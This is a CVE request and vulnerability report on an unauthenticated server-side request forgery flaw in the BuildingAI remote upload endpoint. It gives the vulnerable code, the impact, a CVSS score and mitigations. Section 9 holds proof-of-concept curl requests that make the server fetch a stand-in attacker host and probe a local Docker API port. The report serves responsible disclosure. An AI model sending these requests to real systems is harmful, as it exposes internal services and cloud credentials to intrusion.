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1) CNA / Submission Type

- Submission type: Report a vulnerability (CVE ID request)
- Reporter role: Independent security researcher
- Report date: April 2, 2026

2) Reporter Contact (fill before submit)

- Reporter name: winegee
- Reporter email: winegee@zju.edu.cn
- Permission to share contact with vendor: Yes

3) Vendor / Product Identification

- Vendor: BidingCC
- Product: BuildingAI
- Repository: <https://github.com/BidingCC/BuildingAI>
- Affected component(s):
- packages/api/src/modules/upload/controllers/web/upload.controller.ts
- packages/api/src/modules/upload/dto/remote-upload.dto.ts

- `packages/core/src/modules/upload/services/file-storage.service.ts`

4) Vulnerability Type

- CWE: CWE-918 (Server-Side Request Forgery)
- Short title: Unauthenticated SSRF in remote file upload endpoint

5) Affected Versions

- Confirmed affected: 26.0.1
- Suspected affected range: versions containing public `upload/remote` flow with direct remote fetch
- Fixed version: Not available at time of report (April 2, 2026)

6) Vulnerability Description

The remote upload API accepts attacker-controlled URL input and performs server-side HTTP fetch without destination restrictions. The route is explicitly annotated `@Public()`, and URL validation is limited to syntactic format (`IsUrl`) rather than network policy checks. An unauthenticated attacker can coerce the backend to request internal network services or cloud metadata endpoints.

7) Technical Root Cause

1. `js/request-forgery-from-request`
 - Source: `packages/api/src/modules/upload/controllers/web/upload.controller.ts:224`
 - Sink: `packages/core/src/modules/upload/services/file-storage.service.ts:189`
2. Public reachability:
 - Route is marked `@Public()` and exposed via `@Post("remote")`.
3. Validation gap:
 - DTO only uses `@IsUrl` (format validation), no allowlist or private-address denylist.
4. Direct sink:
 - `axios.get(url, ...)` with attacker-controlled URL.

```
// upload.controller.ts
@Post("remote")
@Public()
async uploadRemoteFile(@Body() remoteUploadDto: RemoteUploadDto, @Req() req: Request) {
  return this.uploadService.uploadRemoteFile(remoteUploadDto, req);
}

// remote-upload.dto.ts
@IsUrl({}, { message: "请输入有效的URL" })
url: string;

// file-storage.service.ts
```



```
const response = await axios.get(url, {
  responseType: "stream",
  timeout,
  maxContentLength: maxSize,
});
```

8) Attack Prerequisites

- Network access to the BuildingAI API service.
- Reachability of an internal target from the server (for internal SSRF impact).
- No outbound egress controls blocking attacker-selected destinations.

9) Proof of Concept / Reproduction Guidance

This PoC confirms unauthenticated SSRF by forcing the service to fetch an attacker-observable URL.

1. Start a listener the target server can reach (example on attacker host):

```
python3 -m http.server 18080
```



2. Trigger remote upload with attacker-controlled URL:

```
curl -i -X POST http://TARGET_HOST:4090/upload/remote \
-H 'Content-Type: application/json' \
-d '{
  "url": "http://ATTACKER_HOST:18080/ssrf-poc.txt",
  "description": "ssrf test"
}'
```



3. Observe inbound request on attacker listener:

- `GET /ssrf-poc.txt` from BuildingAI server IP.

Alternative internal-target probe:

```
curl -i -X POST http://TARGET_HOST:4090/upload/remote \
-H 'Content-Type: application/json' \
-d '{"url": "http://127.0.0.1:2375/version"}'
```



Expected result:

- Backend attempts to fetch the supplied URL and returns upload/result response or fetch error after making outbound request.

10) Security Impact

- Confidentiality: High (internal service enumeration and metadata access)
- Integrity: Low to Medium (depends on reachable internal services accepting state-changing requests)
- Availability: Low to Medium (resource exhaustion through large/slow URLs)
- Scope: Unchanged

11) CVSS v3.1 Suggestion

- Suggested vector (unauthenticated network SSRF): `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L`
- Suggested base score: 8.6 (High)
- Score may be lower if strict outbound firewalling is enforced.

12) Workarounds / Mitigations

- Disable public remote upload endpoint if not strictly required.
- Add strict destination allowlist for remote fetch URLs.
- Block loopback, RFC1918, link-local, and metadata addresses after DNS resolution.
- Enforce protocol restrictions (`http/https`) and maximum response/body/time constraints.
- Add authentication and rate limiting to remote upload endpoint.

13) Recommended Fix

- Replace permissive URL handling with policy-based URL validator.
- Resolve hostname and re-check final IP (including redirects) against denylist.
- Introduce signed upload flow where backend does not fetch arbitrary user URLs.
- Add regression tests for private IP, DNS rebinding, and redirect-to-internal cases.

14) References

- Repository: <https://github.com/BidingCC/BuildingAI>
- Reviewed files:
 - `packages/api/src/modules/upload/controllers/web/upload.controller.ts`
 - `packages/api/src/modules/upload/dto/remote-upload.dto.ts`
 - `packages/core/src/modules/upload/services/file-storage.service.ts`
- CWE-918: <https://cwe.mitre.org/data/definitions/918.html>

15) Credits

- Discoverer: `Winegee`

- Discovery method: Static analysis (CodeQL) plus repository source-code audit

16) Additional Notes for Form Mapping

- Issue status at report time: source-code confirmed in the local dataset.
- Reported endpoint path comes from controller mapping (`@Post("remote")` under upload controller).
- Version-range accuracy should be finalized by maintainer release history before public disclosure.

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